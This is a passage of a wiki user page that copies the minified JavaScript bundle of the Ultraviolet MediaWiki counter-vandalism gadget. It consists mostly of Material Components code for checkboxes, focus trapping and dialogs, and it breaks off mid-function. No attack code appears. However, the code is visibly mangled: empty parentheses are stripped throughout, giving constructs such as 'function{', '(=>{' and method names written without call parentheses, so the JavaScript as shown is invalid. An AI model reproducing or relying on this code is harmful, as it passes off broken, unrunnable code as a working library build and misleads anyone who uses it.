User:Collei/ultraviolet.js

// https://en.uncyclopedia.co/wiki/MediaWiki:Gadget-ultraviolet.js

/*! * Ultraviolet - the user-friendly MediaWiki counter-vandalism tool. * * Contact us at tools.ultraviolet@toolforge.org or WT:UV * Licensed under the Apache License 2.0 - read more at https://www.apache.org/licenses/LICENSE-2.0.txt * * -- * * (c) 2020-2022 The Ultraviolet Development Team (10nm) and contributors * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * *    http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * -- * * Ultraviolet is an open source project, and we invite others to develop extensions, * styles, translation, and other expansions for Ultraviolet! If you'd like to learn * more, reach out at https://en.wikipedia.org/wiki/Wikipedia:Ultraviolet/Contact. * */(=>{var __webpack_modules__={2195:(e,t,n)=>{"use strict";n.d(t,{$:=>i}); /** * @license * Copyright 2020 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i=function{function e{this.rafIDs=new Map}return e.prototype.request=function(e,t){var n=this;this.cancel(e);var i=requestAnimationFrame((function(i){n.rafIDs.delete(e),t(i)}));this.rafIDs.set(e,i)},e.prototype.cancel=function(e){var t=this.rafIDs.get(e);t&&(cancelAnimationFrame(t),this.rafIDs.delete(e))},e.prototype.cancelAll=function{var e=this;this.rafIDs.forEach((function(t,n){e.cancel(n)}))},e.prototype.getQueue=function{var e=[];return this.rafIDs.forEach((function(t,n){e.push(n)})),e},e}},5475:(e,t,n)=>{"use strict";n.d(t,{E:=>a,i:=>s}); /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i={animation:{prefixed:"-webkit-animation",standard:"animation"},transform:{prefixed:"-webkit-transform",standard:"transform"},transition:{prefixed:"-webkit-transition",standard:"transition"}},r={animationend:{cssProperty:"animation",prefixed:"webkitAnimationEnd",standard:"animationend"},animationiteration:{cssProperty:"animation",prefixed:"webkitAnimationIteration",standard:"animationiteration"},animationstart:{cssProperty:"animation",prefixed:"webkitAnimationStart",standard:"animationstart"},transitionend:{cssProperty:"transition",prefixed:"webkitTransitionEnd",standard:"transitionend"}};function o(e){return Boolean(e.document)&&"function"==typeof e.document.createElement}function a(e,t){if(o(e)&&t in i){var n=e.document.createElement("div"),r=i[t],a=r.standard,s=r.prefixed;return a in n.style?a:s}return t}function s(e,t){if(o(e)&&t in r){var n=e.document.createElement("div"),i=r[t],a=i.standard,s=i.prefixed;return i.cssProperty in n.style?a:s}return t}},5179:(e,t,n)=>{"use strict";n.d(t,{B:=>o});var i=n(655),r=n(6308),o=function{function e(e,t){for(var n=[],r=2;r<arguments.length;r++)n[r-2]=arguments[r];this.root=e,this.initialize.apply(this,(0,i.__spreadArray)([],(0,i.__read)(n))),this.foundation=void 0===t?this.getDefaultFoundation:t,this.foundation.init,this.initialSyncWithDOM}return e.attachTo=function(t){return new e(t,new r.K({}))},e.prototype.initialize=function{for(var e=[],t=0;t<arguments.length;t++)e[t]=arguments[t]},e.prototype.getDefaultFoundation=function{throw new Error("Subclasses must override getDefaultFoundation to return a properly configured foundation class")},e.prototype.initialSyncWithDOM=function{},e.prototype.destroy=function{this.foundation.destroy},e.prototype.listen=function(e,t,n){this.root.addEventListener(e,t,n)},e.prototype.unlisten=function(e,t,n){this.root.removeEventListener(e,t,n)},e.prototype.emit=function(e,t,n){var i;void 0===n&&(n=!1),"function"==typeof CustomEvent?i=new CustomEvent(e,{bubbles:n,detail:t}):(i=document.createEvent("CustomEvent")).initCustomEvent(e,n,!1,t),this.root.dispatchEvent(i)},e}},6308:(e,t,n)=>{"use strict";n.d(t,{K:=>i}); /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var i=function{function e(e){void 0===e&&(e={}),this.adapter=e}return Object.defineProperty(e,"cssClasses",{get:function{return{}},enumerable:!1,configurable:!0}),Object.defineProperty(e,"strings",{get:function{return{}},enumerable:!1,configurable:!0}),Object.defineProperty(e,"numbers",{get:function{return{}},enumerable:!1,configurable:!0}),Object.defineProperty(e,"defaultAdapter",{get:function{return{}},enumerable:!1,configurable:!0}),e.prototype.init=function{},e.prototype.destroy=function{},e}},5886:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCCheckbox:=>g,MDCCheckboxFoundation:=>h,cssClasses:=>d,numbers:=>p,strings:=>u});var i=n(655),r=n(5475),o=n(5179),a=n(9397),s=n(2851),l=n(1661),c=n(514),d={ANIM_CHECKED_INDETERMINATE:"mdc-checkbox--anim-checked-indeterminate",ANIM_CHECKED_UNCHECKED:"mdc-checkbox--anim-checked-unchecked",ANIM_INDETERMINATE_CHECKED:"mdc-checkbox--anim-indeterminate-checked",ANIM_INDETERMINATE_UNCHECKED:"mdc-checkbox--anim-indeterminate-unchecked",ANIM_UNCHECKED_CHECKED:"mdc-checkbox--anim-unchecked-checked",ANIM_UNCHECKED_INDETERMINATE:"mdc-checkbox--anim-unchecked-indeterminate",BACKGROUND:"mdc-checkbox__background",CHECKED:"mdc-checkbox--checked",CHECKMARK:"mdc-checkbox__checkmark",CHECKMARK_PATH:"mdc-checkbox__checkmark-path",DISABLED:"mdc-checkbox--disabled",INDETERMINATE:"mdc-checkbox--indeterminate",MIXEDMARK:"mdc-checkbox__mixedmark",NATIVE_CONTROL:"mdc-checkbox__native-control",ROOT:"mdc-checkbox",SELECTED:"mdc-checkbox--selected",UPGRADED:"mdc-checkbox--upgraded"},u={ARIA_CHECKED_ATTR:"aria-checked",ARIA_CHECKED_INDETERMINATE_VALUE:"mixed",DATA_INDETERMINATE_ATTR:"data-indeterminate",NATIVE_CONTROL_SELECTOR:".mdc-checkbox__native-control",TRANSITION_STATE_CHECKED:"checked",TRANSITION_STATE_INDETERMINATE:"indeterminate",TRANSITION_STATE_INIT:"init",TRANSITION_STATE_UNCHECKED:"unchecked"},p={ANIM_END_LATCH_MS:250},h=function(e){function t(n){var r=e.call(this,(0,i.__assign)((0,i.__assign)({},t.defaultAdapter),n))||this;return r.currentCheckState=u.TRANSITION_STATE_INIT,r.currentAnimationClass="",r.animEndLatchTimer=0,r.enableAnimationEndHandler=!1,r}return(0,i.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return d},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return u},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return p},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addClass:function{},forceLayout:function{},hasNativeControl:function{return!1},isAttachedToDOM:function{return!1},isChecked:function{return!1},isIndeterminate:function{return!1},removeClass:function{},removeNativeControlAttr:function{},setNativeControlAttr:function{},setNativeControlDisabled:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{this.currentCheckState=this.determineCheckState,this.updateAriaChecked,this.adapter.addClass(d.UPGRADED)},t.prototype.destroy=function{clearTimeout(this.animEndLatchTimer)},t.prototype.setDisabled=function(e){this.adapter.setNativeControlDisabled(e),e?this.adapter.addClass(d.DISABLED):this.adapter.removeClass(d.DISABLED)},t.prototype.handleAnimationEnd=function{var e=this;this.enableAnimationEndHandler&&(clearTimeout(this.animEndLatchTimer),this.animEndLatchTimer=setTimeout((function{e.adapter.removeClass(e.currentAnimationClass),e.enableAnimationEndHandler=!1}),p.ANIM_END_LATCH_MS))},t.prototype.handleChange=function{this.transitionCheckState},t.prototype.transitionCheckState=function{if(this.adapter.hasNativeControl){var e=this.currentCheckState,t=this.determineCheckState;if(e!==t){this.updateAriaChecked;var n=u.TRANSITION_STATE_UNCHECKED,i=d.SELECTED;t===n?this.adapter.removeClass(i):this.adapter.addClass(i),this.currentAnimationClass.length>0&&(clearTimeout(this.animEndLatchTimer),this.adapter.forceLayout,this.adapter.removeClass(this.currentAnimationClass)),this.currentAnimationClass=this.getTransitionAnimationClass(e,t),this.currentCheckState=t,this.adapter.isAttachedToDOM&&this.currentAnimationClass.length>0&&(this.adapter.addClass(this.currentAnimationClass),this.enableAnimationEndHandler=!0)}}},t.prototype.determineCheckState=function{var e=u.TRANSITION_STATE_INDETERMINATE,t=u.TRANSITION_STATE_CHECKED,n=u.TRANSITION_STATE_UNCHECKED;return this.adapter.isIndeterminate?e:this.adapter.isChecked?t:n},t.prototype.getTransitionAnimationClass=function(e,n){var i=u.TRANSITION_STATE_INIT,r=u.TRANSITION_STATE_CHECKED,o=u.TRANSITION_STATE_UNCHECKED,a=t.cssClasses,s=a.ANIM_UNCHECKED_CHECKED,l=a.ANIM_UNCHECKED_INDETERMINATE,c=a.ANIM_CHECKED_UNCHECKED,d=a.ANIM_CHECKED_INDETERMINATE,p=a.ANIM_INDETERMINATE_CHECKED,h=a.ANIM_INDETERMINATE_UNCHECKED;switch(e){case i:return n===o?"":n===r?p:h;case o:return n===r?s:l;case r:return n===o?c:d;default:return n===r?p:h}},t.prototype.updateAriaChecked=function{this.adapter.isIndeterminate?this.adapter.setNativeControlAttr(u.ARIA_CHECKED_ATTR,u.ARIA_CHECKED_INDETERMINATE_VALUE):this.adapter.removeNativeControlAttr(u.ARIA_CHECKED_ATTR)},t}(n(6308).K); /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ var f=["checked","indeterminate"],g=function(e){function t{var t=null!==e&&e.apply(this,arguments)||this;return t.rippleSurface=t.createRipple,t}return(0,i.__extends)(t,e),t.attachTo=function(e){return new t(e)},Object.defineProperty(t.prototype,"ripple",{get:function{return this.rippleSurface},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"checked",{get:function{return this.getNativeControl.checked},set:function(e){this.getNativeControl.checked=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"indeterminate",{get:function{return this.getNativeControl.indeterminate},set:function(e){this.getNativeControl.indeterminate=e},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"disabled",{get:function{return this.getNativeControl.disabled},set:function(e){this.foundation.setDisabled(e)},enumerable:!1,configurable:!0}),Object.defineProperty(t.prototype,"value",{get:function{return this.getNativeControl.value},set:function(e){this.getNativeControl.value=e},enumerable:!1,configurable:!0}),t.prototype.initialize=function{var e=u.DATA_INDETERMINATE_ATTR;this.getNativeControl.indeterminate="true"===this.getNativeControl.getAttribute(e),this.getNativeControl.removeAttribute(e)},t.prototype.initialSyncWithDOM=function{var e=this;this.handleChange=function{e.foundation.handleChange},this.handleAnimationEnd=function{e.foundation.handleAnimationEnd},this.getNativeControl.addEventListener("change",this.handleChange),this.listen((0,r.i)(window,"animationend"),this.handleAnimationEnd),this.installPropertyChangeHooks},t.prototype.destroy=function{this.rippleSurface.destroy,this.getNativeControl.removeEventListener("change",this.handleChange),this.unlisten((0,r.i)(window,"animationend"),this.handleAnimationEnd),this.uninstallPropertyChangeHooks,e.prototype.destroy.call(this)},t.prototype.getDefaultFoundation=function{var e=this;return new h({addClass:function(t){return e.root.classList.add(t)},forceLayout:function{return e.root.offsetWidth},hasNativeControl:function{return!!e.getNativeControl},isAttachedToDOM:function{return Boolean(e.root.parentNode)},isChecked:function{return e.checked},isIndeterminate:function{return e.indeterminate},removeClass:function(t){e.root.classList.remove(t)},removeNativeControlAttr:function(t){e.getNativeControl.removeAttribute(t)},setNativeControlAttr:function(t,n){e.getNativeControl.setAttribute(t,n)},setNativeControlDisabled:function(t){e.getNativeControl.disabled=t}})},t.prototype.createRipple=function{var e=this,t=(0,i.__assign)((0,i.__assign)({},l.F.createAdapter(this)),{deregisterInteractionHandler:function(t,n){e.getNativeControl.removeEventListener(t,n,(0,a.K))},isSurfaceActive:function{return(0,s.wB)(e.getNativeControl,":active")},isUnbounded:function{return!0},registerInteractionHandler:function(t,n){e.getNativeControl.addEventListener(t,n,(0,a.K))}});return new l.F(this.root,new c.l(t))},t.prototype.installPropertyChangeHooks=function{var e,t,n=this,r=this.getNativeControl,o=Object.getPrototypeOf(r),a=function(e){var t=Object.getOwnPropertyDescriptor(o,e);if(!m(t))return{value:void 0};var i=t.get,a={configurable:t.configurable,enumerable:t.enumerable,get:i,set:function(e){t.set.call(r,e),n.foundation.handleChange}};Object.defineProperty(r,e,a)};try{for(var s=(0,i.__values)(f),l=s.next;!l.done;l=s.next){var c=a(l.value);if("object"==typeof c)return c.value}}catch(t){e={error:t}}finally{try{l&&!l.done&&(t=s.return)&&t.call(s)}finally{if(e)throw e.error}}},t.prototype.uninstallPropertyChangeHooks=function{var e,t,n=this.getNativeControl,r=Object.getPrototypeOf(n);try{for(var o=(0,i.__values)(f),a=o.next;!a.done;a=o.next){var s=a.value,l=Object.getOwnPropertyDescriptor(r,s);if(!m(l))return;Object.defineProperty(n,s,l)}}catch(t){e={error:t}}finally{try{a&&!a.done&&(t=o.return)&&t.call(o)}finally{if(e)throw e.error}}},t.prototype.getNativeControl=function{var e=u.NATIVE_CONTROL_SELECTOR,t=this.root.querySelector(e);if(!t)throw new Error("Checkbox component requires a "+e+" element");return t},t}(o.B);function m(e){return!!e&&"function"==typeof e.set}} /** * @license * Copyright 2019 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */,1445:(e,t,n)=>{"use strict";n.r(t),n.d(t,{MDCDialog:=>C,MDCDialogFoundation:=>b,cssClasses:=>A,numbers:=>_,strings:=>y,util:=>i});var i={}; /** * @license * Copyright 2016 Google Inc. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ function r(e,t,n){return t(e,{initialFocusEl:n})}function o(e){return!!e&&e.scrollHeight>e.offsetHeight}function a(e){return!!e&&0===e.scrollTop}function s(e){return!!e&&Math.ceil(e.scrollHeight-e.scrollTop)===e.clientHeight}function l(e){var t=new Set;return[].forEach.call(e,(function(e){return t.add(e.offsetTop)})),t.size>1}n.r(i),n.d(i,{areTopsMisaligned:=>l,createFocusTrapInstance:=>r,isScrollAtBottom:=>s,isScrollAtTop:=>a,isScrollable:=>o});var c,d=n(655),u=n(5179),p="mdc-dom-focus-sentinel",h=function{function e(e,t){void 0===t&&(t={}),this.root=e,this.options=t,this.elFocusedBeforeTrapFocus=null}return e.prototype.trapFocus=function{var e=this.getFocusableElements(this.root);if(0===e.length)throw new Error("FocusTrap: Element must have at least one focusable child.");this.elFocusedBeforeTrapFocus=document.activeElement instanceof HTMLElement?document.activeElement:null,this.wrapTabFocus(this.root),this.options.skipInitialFocus||this.focusInitialElement(e,this.options.initialFocusEl)},e.prototype.releaseFocus=function{[].slice.call(this.root.querySelectorAll("."+p)).forEach((function(e){e.parentElement.removeChild(e)})),!this.options.skipRestoreFocus&&this.elFocusedBeforeTrapFocus&&this.elFocusedBeforeTrapFocus.focus},e.prototype.wrapTabFocus=function(e){var t=this,n=this.createSentinel,i=this.createSentinel;n.addEventListener("focus",(function{var n=t.getFocusableElements(e);n.length>0&&n[n.length-1].focus})),i.addEventListener("focus",(function{var n=t.getFocusableElements(e);n.length>0&&n[0].focus})),e.insertBefore(n,e.children[0]),e.appendChild(i)},e.prototype.focusInitialElement=function(e,t){var n=0;t&&(n=Math.max(e.indexOf(t),0)),e[n].focus},e.prototype.getFocusableElements=function(e){return[].slice.call(e.querySelectorAll("[autofocus], [tabindex], a, input, textarea, select, button")).filter((function(e){var t="true"===e.getAttribute("aria-disabled")||null!=e.getAttribute("disabled")||null!=e.getAttribute("hidden")||"true"===e.getAttribute("aria-hidden"),n=e.tabIndex>=0&&e.getBoundingClientRect.width>0&&!e.classList.contains(p)&&!t,i=!1;if(n){var r=getComputedStyle(e);i="none"===r.display||"hidden"===r.visibility}return n&&!i}))},e.prototype.createSentinel=function{var e=document.createElement("div");return e.setAttribute("tabindex","0"),e.setAttribute("aria-hidden","true"),e.classList.add(p),e},e},f=n(2851),g=n(1661),m=n(2195),v=n(6308),A={CLOSING:"mdc-dialog--closing",OPEN:"mdc-dialog--open",OPENING:"mdc-dialog--opening",SCROLLABLE:"mdc-dialog--scrollable",SCROLL_LOCK:"mdc-dialog-scroll-lock",STACKED:"mdc-dialog--stacked",FULLSCREEN:"mdc-dialog--fullscreen",SCROLL_DIVIDER_HEADER:"mdc-dialog-scroll-divider-header",SCROLL_DIVIDER_FOOTER:"mdc-dialog-scroll-divider-footer",SURFACE_SCRIM_SHOWN:"mdc-dialog__surface-scrim--shown",SURFACE_SCRIM_SHOWING:"mdc-dialog__surface-scrim--showing",SURFACE_SCRIM_HIDING:"mdc-dialog__surface-scrim--hiding",SCRIM_HIDDEN:"mdc-dialog__scrim--hidden"},y={ACTION_ATTRIBUTE:"data-mdc-dialog-action",BUTTON_DEFAULT_ATTRIBUTE:"data-mdc-dialog-button-default",BUTTON_SELECTOR:".mdc-dialog__button",CLOSED_EVENT:"MDCDialog:closed",CLOSE_ACTION:"close",CLOSING_EVENT:"MDCDialog:closing",CONTAINER_SELECTOR:".mdc-dialog__container",CONTENT_SELECTOR:".mdc-dialog__content",DESTROY_ACTION:"destroy",INITIAL_FOCUS_ATTRIBUTE:"data-mdc-dialog-initial-focus",OPENED_EVENT:"MDCDialog:opened",OPENING_EVENT:"MDCDialog:opening",SCRIM_SELECTOR:".mdc-dialog__scrim",SUPPRESS_DEFAULT_PRESS_SELECTOR:["textarea",".mdc-menu .mdc-list-item",".mdc-menu .mdc-deprecated-list-item"].join(", "),SURFACE_SELECTOR:".mdc-dialog__surface"},_={DIALOG_ANIMATION_CLOSE_TIME_MS:75,DIALOG_ANIMATION_OPEN_TIME_MS:150};!function(e){e.POLL_SCROLL_POS="poll_scroll_position",e.POLL_LAYOUT_CHANGE="poll_layout_change"}(c||(c={}));var b=function(e){function t(n){var i=e.call(this,(0,d.__assign)((0,d.__assign)({},t.defaultAdapter),n))||this;return i.dialogOpen=!1,i.isFullscreen=!1,i.animationFrame=0,i.animationTimer=0,i.escapeKeyAction=y.CLOSE_ACTION,i.scrimClickAction=y.CLOSE_ACTION,i.autoStackButtons=!0,i.areButtonsStacked=!1,i.suppressDefaultPressSelector=y.SUPPRESS_DEFAULT_PRESS_SELECTOR,i.animFrame=new m.$,i.contentScrollHandler=function{i.handleScrollEvent},i.windowResizeHandler=function{i.layout},i.windowOrientationChangeHandler=function{i.layout},i}return(0,d.__extends)(t,e),Object.defineProperty(t,"cssClasses",{get:function{return A},enumerable:!1,configurable:!0}),Object.defineProperty(t,"strings",{get:function{return y},enumerable:!1,configurable:!0}),Object.defineProperty(t,"numbers",{get:function{return _},enumerable:!1,configurable:!0}),Object.defineProperty(t,"defaultAdapter",{get:function{return{addBodyClass:function{},addClass:function{},areButtonsStacked:function{return!1},clickDefaultButton:function{},eventTargetMatches:function{return!1},getActionFromEvent:function{return""},getInitialFocusEl:function{return null},hasClass:function{return!1},isContentScrollable:function{return!1},notifyClosed:function{},notifyClosing:function{},notifyOpened:function{},notifyOpening:function{},releaseFocus:function{},removeBodyClass:function{},removeClass:function{},reverseButtons:function{},trapFocus:function{},registerContentEventHandler:function{},deregisterContentEventHandler:function{},isScrollableContentAtTop:function{return!1},isScrollableContentAtBottom:function{return!1},registerWindowEventHandler:function{},deregisterWindowEventHandler:function{}}},enumerable:!1,configurable:!0}),t.prototype.init=function{this.adapter.hasClass(A.STACKED)&&this.setAutoStackButtons(!1),this.isFullscreen=this.adapter.hasClass(A.FULLSCREEN)},t.prototype.destroy=function{this.animationTimer&&(clearTimeout(this.animationTimer),this.handleAnimationTimerEnd),this.isFullscreen&&this.adapter.deregisterContentEventHandler("scroll",this.contentScrollHandler),this.animFrame.cancelAll,this.adapter.deregisterWindowEventHandler("resize",this.windowResizeHandler),this.adapter.deregisterWindowEventHandler("orientationchange",this.windowOrientationChangeHandler)},t.prototype.open=function(e){var t=this;this.dialogOpen=!0,this.adapter.notifyOpening,this.adapter.addClass(A.OPENING),this.isFullscreen&&this.adapter.registerContentEventHandler("scroll",this.contentScrollHandler),e&&e.isAboveFullscreenDialog&&this.adapter.addClass(A.SCRIM_HIDDEN),this.adapter.registerWindowEventHandler("resize",this.windowResizeHandler),this.adapter.registerWindowEventHandler("orientationchange",this.windowOrientationChangeHandler),this.runNextAnimationFrame((function{t.adapter.addClass(A.OPEN),t.adapter.addBodyClass(A.SCROLL_LOCK),t.layout,t.animationTimer=setTimeout((function{t.handleAnimationTimerEnd,t.adapter.trapFocus(t.adapter.getInitialFocusEl),t.adapter.notifyOpened}),_.DIALOG_ANIMATION_OPEN_TIME_MS)}))},t.prototype.close=function(e){var t=this;void 0===e&&(e=""),this.dialogOpen&&(this.dialogOpen=!1,this.adapter.notifyClosing(e),this.adapter.addClass(A.CLOSING),this.adapter.removeClass(A.OPEN),this.adapter.removeBodyClass(A.SCROLL_LOCK),this.isFullscreen&&this.adapter.deregisterContentEventHandler("scroll",this.contentScrollHandler),this.adapter.deregisterWindowEventHandler("resize",this.windowResizeHandler),this.adapter.deregisterWindowEventHandler("orientationchange",this.windowOrientationChangeHandler),cancelAnimationFrame(this.animationFrame),this.animationFrame=0,clearTimeout(this.animationTimer),this.animationTimer=setTimeout((function{t.adapter.releaseFocus,t.handleAnimationTimerEnd,t.adapter.notifyClosed(e)}),_.DIALOG_ANIMATION_CLOSE_TIME_MS))},t.prototype.showSurfaceScrim=function{var e=this;this.adapter.addClass(A.SURFACE_SCRIM_SHOWING),this.runNextAnimationFrame((function{e.adapter.addClass(A.SURFACE_SCRIM_SHOWN)}))},t.prototype.hideSurfaceScrim=function{this.adapter.removeClass(A.SURFACE_SCRIM_SHOWN),this.adapter.addClass(A.SURFACE_SCRIM_HIDING)},t.prototype.handleSurfaceScrimTransitionEnd=function{this.adapter.removeClass(A.SURFACE_SCRIM_HIDING),this.adapter.removeClass(A.SURFACE_SCRIM_SHOWING)},t.prototype.isOpen=function{return this.dialogOpen},t.prototype.getEscapeKeyAction=function{return this.escapeKeyAction},t.prototype.setEscapeKeyAction=function(e){this.escapeKeyAction=e},t.prototype.getScrimClickAction=function{return this.scrimClickAction},t.prototype.setScrimClickAction=function(e){this.scrimClickAction=e},t.prototype.getAutoStackButtons=function{return this.autoStackButtons},t.prototype.setAutoStackButtons=function(e){this.autoStackButtons=e},t.prototype.getSuppressDefaultPressSelector=function{return this.suppressDefaultPressSelector},t.prototype.setSuppressDefaultPressSelector=function(e){this.suppressDefaultPressSelector=e},t.prototype.layout=function{var e=this;this.animFrame.request(c.POLL_LAYOUT_CHANGE,(function{e.layoutInternal}))},t.prototype.handleClick=function(e){if(this.adapter.eventTargetMatches(e.target,y.SCRIM_SELECTOR)&&""!==this.scrimClickAction)this.close(this.scrimClickAction);else{var t=this.adapter.getActionFromEvent(e);t&&this.close(t)}},t.prototype.handleKeydown=function(e){var t="Enter"===e.key||13===e.keyCode;if(t&&!this.adapter.getActionFromEvent(e)){var n=e.composedPath?e.composedPath[0]:e.target,i=!this.suppressDefaultPressSelector||!this.adapter.eventTargetMatches(n,this.suppressDefaultPressSelector);t&&i&&this.adapter.clickDefaultButton}},t.prototype.handleDocumentKeydown=function(e){("Escape"===e.key||27===e.keyCode)&&""!==this.escapeKeyAction&&this.close(this.escapeKeyAction)},t.prototype.handleScrollEvent=function{var e=this;this.animFrame.request(c.POLL_SCROLL_POS,(function{e.toggleScrollDividerHeader,e.toggleScrollDividerFooter}))},t.prototype.layoutInternal=function{this.autoStackButtons&&this.detectStackedButtons,this.toggleScrollableClasses},t.prototype.handleAnimationTimerEnd=function{this.animationTimer=0,this.adapter.removeClass(A.OPENING),this.adapter.removeClass(A.CLOSING)},t.prototype.runNextAnimationFrame=function(e){var t=this;cancelAnimationFrame(this.animationFrame),this.animationFrame=requestAnimationFrame((function{t.animationFrame=0,clearTimeout(t.animationTimer),t.animationTimer=setTimeout(e,0)}))},t.prototype.detectStackedButtons=function{this.adapter.removeClass(A.STACKED);var 